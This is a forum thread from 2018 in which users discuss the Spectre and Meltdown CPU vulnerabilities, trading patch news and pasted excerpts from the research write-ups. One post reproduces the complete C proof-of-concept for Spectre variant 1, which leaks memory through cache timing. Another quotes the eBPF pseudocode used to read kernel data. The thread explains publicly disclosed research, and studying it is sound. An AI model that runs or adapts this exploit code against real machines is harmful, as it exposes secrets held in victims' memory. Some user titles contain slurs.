User Controls

Intel fucks the world, again, surprising no one

  1. #21
    -SpectraL coward [the spuriously bluish-lilac bushman]
    Originally posted by SpectraL- You kids don't scare me!. I am NOT fearful and this is my protest against a unjust user title

    Quiet, Lanny. This is a srs beans forum, you know.
  2. #22
    aldra JIDF Controlled Opposition
    Originally posted by Sophie Holla at an AMD nigga'.

    conflicting reports as to whether AMD is vulnerable; they have support for the same functions but AMD themselves have come out and said that such attacks are 'not viable' meaning it's likely possible but difficult due to architecture

    I need to read more about this, haven't gone through whitepapers yet
  3. #23
    From everything I have read, AMD is still vulnerable to Spectre, but Meltdown is (by design) limited to Intel chips.
  4. #24
    F.E. Allen P-TRANNY
    Most of the interesting work in the Spectre paper relies on side channel discovery covered in other papers. Flush+Reload has only been demonstrated on Intel CPUs and seems limited to Intel. The Evict+Reload technique is a more nuanced strategy, I don't really know enough to make a determination, but at least it's not clear that AMD is vulnerable. AFAIK no PoC has emerged.
  5. #25
    Grimace motherfucker [my enumerable hindi guideword]
    https://spectrum.ieee.org/tech-talk/semiconductors/processors/how-the-intel-processor-meltdown-vulnerability-was-thwarted

    https://newsroom.intel.com/news-releases/intel-issues-updates-protect-systems-security-exploits/

    SANTA CLARA, Calif., Jan. 4, 2018 — Intel has developed and is rapidly issuing updates for all types of Intel-based computer systems — including personal computers and servers — that render those systems immune from both exploits (referred to as “Spectre” and “Meltdown”) reported by Google Project Zero. Intel and its partners have made significant progress in deploying updates as both software patches and firmware updates.

    Update ya'll's shit.

    *runs on AMD*

    :D
  6. #26
    The patch seems to fuck performance, unfortunately. Oh well.
  7. #27
    -SpectraL coward [the spuriously bluish-lilac bushman]
    https://spectreattack.com/spectre.pdf

    if (x < array1_size)
    y = array2[array1[x] * 256];
  8. #28
    Eval/Apply Recursed
    Originally posted by -SpectraL https://spectreattack.com/spectre.pdf

    if (x < array1_size)
    y = array2[array1[x] * 256];

    Hmmm, looks like some pretty complicated stuff. I didn't fully understand the paper. Do you think you could explain what that code does and how it fits into the spectre attack framework?
  9. #29
    Originally posted by Eval/Apply Hmmm, looks like some pretty complicated stuff. I didn't fully understand the paper. Do you think you could explain what that code does and how it fits into the spectre attack framework?

    I'm going to take a shot in the dark based off nothing (I haven't actually read anything about the details of the bug) but the number 256 and algebra, integer overflow?
  10. #30
    -SpectraL coward [the spuriously bluish-lilac bushman]
    Originally posted by Eval/Apply Hmmm, looks like some pretty complicated stuff. I didn't fully understand the paper. Do you think you could explain what that code does and how it fits into the spectre attack framework?

    if (x < array1_size)
    y = array2[array1[x] * 256];


    In this example, the variable x contains attacker-controlled data. The if statement compiles to a branch instruction, whose purpose is to verify that the value of x is within a legal range, ensuring that the access to array1 is valid. For the exploit, the attacker first invokes the relevant code with valid inputs, training the branch predictor to expect that the if will be true. The attacker then invokes the code with a value of x outside the bounds of array1 and with array1 size uncached. The CPU guesses that the bounds check will be true, the speculatively executes the read from array2[array1[x] * 256] using the malicious x. The read from array2 loads data into the cache at an address that is dependent on array1[x] using the malicious x. The change in the cache state is not reverted when the processor realizes that the speculative execution was erroneous, and can be detected by the adversary to find a byte of the victim’s memory. By repeating with different values of x, this construct can be exploited to read the victim’s memory.
  11. #31
    Eval/Apply Recursed
    Originally posted by -SpectraL
    if (x < array1_size)
    y = array2[array1[x] * 256];


    In this example, the variable x contains attacker-controlled data. The if statement compiles to a branch instruction, whose purpose is to verify that the value of x is within a legal range, ensuring that the access to array1 is valid. For the exploit, the attacker first invokes the relevant code with valid inputs, training the branch predictor to expect that the if will be true. The attacker then invokes the code with a value of x outside the bounds of array1 and with array1 size uncached. The CPU guesses that the bounds check will be true, the speculatively executes the read from array2[array1[x] * 256] using the malicious x. The read from array2 loads data into the cache at an address that is dependent on array1[x] using the malicious x. The change in the cache state is not reverted when the processor realizes that the speculative execution was erroneous, and can be detected by the adversary to find a byte of the victim’s memory. By repeating with different values of x, this construct can be exploited to read the victim’s memory.

    Interesting. How is the cache state detected? It seems like the attacking process can't read it directly since, even if it has changed as a product of speculative execution, it's still mapped to the victim processes' memory and any read of that memory by the attacker process will generate a fault.
  12. #32
    -SpectraL coward [the spuriously bluish-lilac bushman]
    The code fragment begins with a bounds check on x which is essential for security. In particular, this check prevents the processor from reading sensitive memory outside of array1. Otherwise, an out-of-bounds input x could trigger an exception or could cause the processor to access sensitive memory by supplying x = (address of a secret byte to read)−(base address of array1). Unfortunately, during speculative execution, the conditional branch for the bounds check can follow the incorrect path. For example, suppose an adversary causes the code to run such that:

    • the value of x is maliciously chosen (and out-of-bounds) such that array1[x] resolves to a secret byte k somewhere in the victim’s memory;

    • array1 size and array2 are not present in the processor’s cache, but k is cached; and

    • previous operations received values of x that were valid, leading the branch predictor to assume the if will likely be true.

    This cache configuration can occur naturally or can be created by an adversary, e.g., by simply reading a large amount of memory to fill the cache with unrelated values, then having the kernel use the secret key in a legitimate operation. If the cache structure is known



    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #ifdef _MSC_VER
    #include <intrin.h> /* for rdtscp and clflush */
    #pragma optimize("gt",on)
    #else
    #include <x86intrin.h> /* for rdtscp and clflush */
    #endif

    /********************************************************************
    Victim code.
    ********************************************************************/
    unsigned int array1_size = 16;
    uint8_t unused1[64];
    uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
    uint8_t unused2[64];
    uint8_t array2[256 * 512];

    char *secret = "The Magic Words are Squeamish Ossifrage.";

    uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

    void victim_function(size_t x) {
    if (x < array1_size) {
    temp &= array2[array1[x] * 512];
    }
    }


    /********************************************************************
    Analysis code
    ********************************************************************/
    #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

    /* Report best guess in value[0] and runner-up in value[1] */
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    int tries, i, j, k, mix_i, junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t *addr;

    for (i = 0; i < 256; i++)
    results[i] = 0;
    for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
    _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
    _mm_clflush(&array1_size);
    for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

    /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
    /* Avoid jumps in case those tip off the branch predictor */
    x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
    x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
    x = training_x ^ (x & (malicious_x ^ training_x));

    /* Call the victim! */
    victim_function(x);
    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
    mix_i = ((i * 167) + 13) & 255;
    addr = &array2[mix_i * 512];
    time1 = __rdtscp(&junk); /* READ TIMER */
    junk = *addr; /* MEMORY ACCESS TO TIME */
    time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
    if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
    results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
    if (j < 0 || results[i] >= results[j]) {
    k = j;
    j = i;
    } else if (k < 0 || results[i] >= results[k]) {
    k = i;
    }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
    break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[0] ^= junk; /* use junk so code above won’t get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
    }

    int main(int argc, const char **argv) {
    size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
    int i, score[2], len=40;
    uint8_t value[2];

    for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3) {
    sscanf(argv[1], "%p", (void**)(&malicious_x));
    malicious_x -= (size_t)array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", &len);
    }

    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void*)malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
    (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
    if (score[1] > 0)
    printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
    }
    return (0);
    }
  13. #33
    Spectrum why are you copypasting from the PDF?
  14. #34
    -SpectraL coward [the spuriously bluish-lilac bushman]
    Most of that's not in the .PDF.
  15. #35
    Eval/Apply Recursed
    Originally posted by -SpectraL The code fragment begins with a bounds check on x which is essential for security. In particular, this check prevents the processor from reading sensitive memory outside of array1. Otherwise, an out-of-bounds input x could trigger an exception or could cause the processor to access sensitive memory by supplying x = (address of a secret byte to read)−(base address of array1). Unfortunately, during speculative execution, the conditional branch for the bounds check can follow the incorrect path. For example, suppose an adversary causes the code to run such that:

    • the value of x is maliciously chosen (and out-of-bounds) such that array1[x] resolves to a secret byte k somewhere in the victim’s memory;

    • array1 size and array2 are not present in the processor’s cache, but k is cached; and

    • previous operations received values of x that were valid, leading the branch predictor to assume the if will likely be true.

    Right, I understand how you can get the branch predictor to speculatively read a byte of memory that violates the bounds check and get said byte of memory into the cache. How do you figure out what that byte is though? As the attacker you can't read the cache line holding that byte.
  16. #36
    F.E. Allen P-TRANNY
    Originally posted by -SpectraL Most of that's not in the .PDF.

    Everything except the code is copy pasted from the whitepaper. Did you write the code?

    I read the paper and still don't fully understand the attack so I'd kinda like to hear from you personally.
  17. #37
    -SpectraL coward [the spuriously bluish-lilac bushman]
    The attack uses two eBPF programs. The first one tail-calls through a page-aligned eBPF function pointer array prog_map at a configurable index. In simplified terms, this program is used to determine the address of prog_map by guessing the offset from prog_map to a userspace address and tail-calling through prog_map at the guessed offsets. To cause the branch prediction to predict that the offset is below the length of prog_map, tail calls to an in-bounds index are performed in between. To increase the mis-speculation window, the cache line containing the length of prog_map is bounced to another core. To test whether an offset guess was successful, it can be tested whether the userspace address has been loaded into the cache.

    Because such straightforward brute-force guessing of the address would be slow, the following optimization is used: 215 adjacent userspace memory mappings [9], each consisting of 24 pages, are created at the userspace address user_mapping_area, covering a total area of 231 bytes. Each mapping maps the same physical pages, and all mappings are present in the pagetables.




    This permits the attack to be carried out in steps of 231 bytes. For each step, after causing an out-of-bounds access through prog_map, only one cache line each from the first 24 pages of user_mapping_area have to be tested for cached memory. Because the L3 cache is physically indexed, any access to a virtual address mapping a physical page will cause all other virtual addresses mapping the same physical page to become cached as well.

    When this attack finds a hit—a cached memory location—the upper 33 bits of the kernel address are known (because they can be derived from the address guess at which the hit occurred), and the low 16 bits of the address are also known (from the offset inside user_mapping_area at which the hit was found). The remaining part of the address of user_mapping_area is the middle.




    The remaining bits in the middle can be determined by bisecting the remaining address space: Map two physical pages to adjacent ranges of virtual addresses, each virtual address range the size of half of the remaining search space, then determine the remaining address bit-wise.

    At this point, a second eBPF program can be used to actually leak data. In pseudocode, this program looks as follows:

    uint64_t bitmask = <runtime-configurable>;
    uint64_t bitshift_selector = <runtime-configurable>;
    uint64_t prog_array_base_offset = <runtime-configurable>;
    uint64_t secret_data_offset = <runtime-configurable>;
    // index will be bounds-checked by the runtime,
    // but the bounds check will be bypassed speculatively
    uint64_t secret_data = bpf_map_read(array=victim_array, index=secret_data_offset);
    // select a single bit, move it to a specific position, and add the base offset
    uint64_t progmap_index = (((secret_data & bitmask) >> bitshift_selector) << 7) + prog_array_base_offset;
    bpf_tail_call(prog_map, progmap_index);
  18. #38
    F.E. Allen P-TRANNY
    Originally posted by -SpectraL The attack uses two eBPF programs. The first one tail-calls through a page-aligned eBPF function pointer array prog_map at a configurable index. In simplified terms, this program is used to determine the address of prog_map by guessing the offset from prog_map to a userspace address and tail-calling through prog_map at the guessed offsets. To cause the branch prediction to predict that the offset is below the length of prog_map, tail calls to an in-bounds index are performed in between. To increase the mis-speculation window, the cache line containing the length of prog_map is bounced to another core. To test whether an offset guess was successful, it can be tested whether the userspace address has been loaded into the cache.

    Because such straightforward brute-force guessing of the address would be slow, the following optimization is used: 215 adjacent userspace memory mappings [9], each consisting of 24 pages, are created at the userspace address user_mapping_area, covering a total area of 231 bytes. Each mapping maps the same physical pages, and all mappings are present in the pagetables.




    This permits the attack to be carried out in steps of 231 bytes. For each step, after causing an out-of-bounds access through prog_map, only one cache line each from the first 24 pages of user_mapping_area have to be tested for cached memory. Because the L3 cache is physically indexed, any access to a virtual address mapping a physical page will cause all other virtual addresses mapping the same physical page to become cached as well.

    When this attack finds a hit—a cached memory location—the upper 33 bits of the kernel address are known (because they can be derived from the address guess at which the hit occurred), and the low 16 bits of the address are also known (from the offset inside user_mapping_area at which the hit was found). The remaining part of the address of user_mapping_area is the middle.




    The remaining bits in the middle can be determined by bisecting the remaining address space: Map two physical pages to adjacent ranges of virtual addresses, each virtual address range the size of half of the remaining search space, then determine the remaining address bit-wise.

    At this point, a second eBPF program can be used to actually leak data. In pseudocode, this program looks as follows:

    uint64_t bitmask = <runtime-configurable>;
    uint64_t bitshift_selector = <runtime-configurable>;
    uint64_t prog_array_base_offset = <runtime-configurable>;
    uint64_t secret_data_offset = <runtime-configurable>;
    // index will be bounds-checked by the runtime,
    // but the bounds check will be bypassed speculatively
    uint64_t secret_data = bpf_map_read(array=victim_array, index=secret_data_offset);
    // select a single bit, move it to a specific position, and add the base offset
    uint64_t progmap_index = (((secret_data & bitmask) >> bitshift_selector) << 7) + prog_array_base_offset;
    bpf_tail_call(prog_map, progmap_index);


    Copy pasted from here: https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html

    It would be nice if you could give us your own thoughts on the matter instead of copy pasting researchers.

    I was actually asking about the code snippet you posted earlier where there is no optimization or tail calls. The previous code was a lot simpler than what Horn is doing here, I'd like to understand that first.
  19. #39
    SoectraL is the Obbe of T&T
  20. #40
    Lanny Bird of Courage
    You seem to be taking longer than usual to respond spectral, is everything OK?
Jump to Top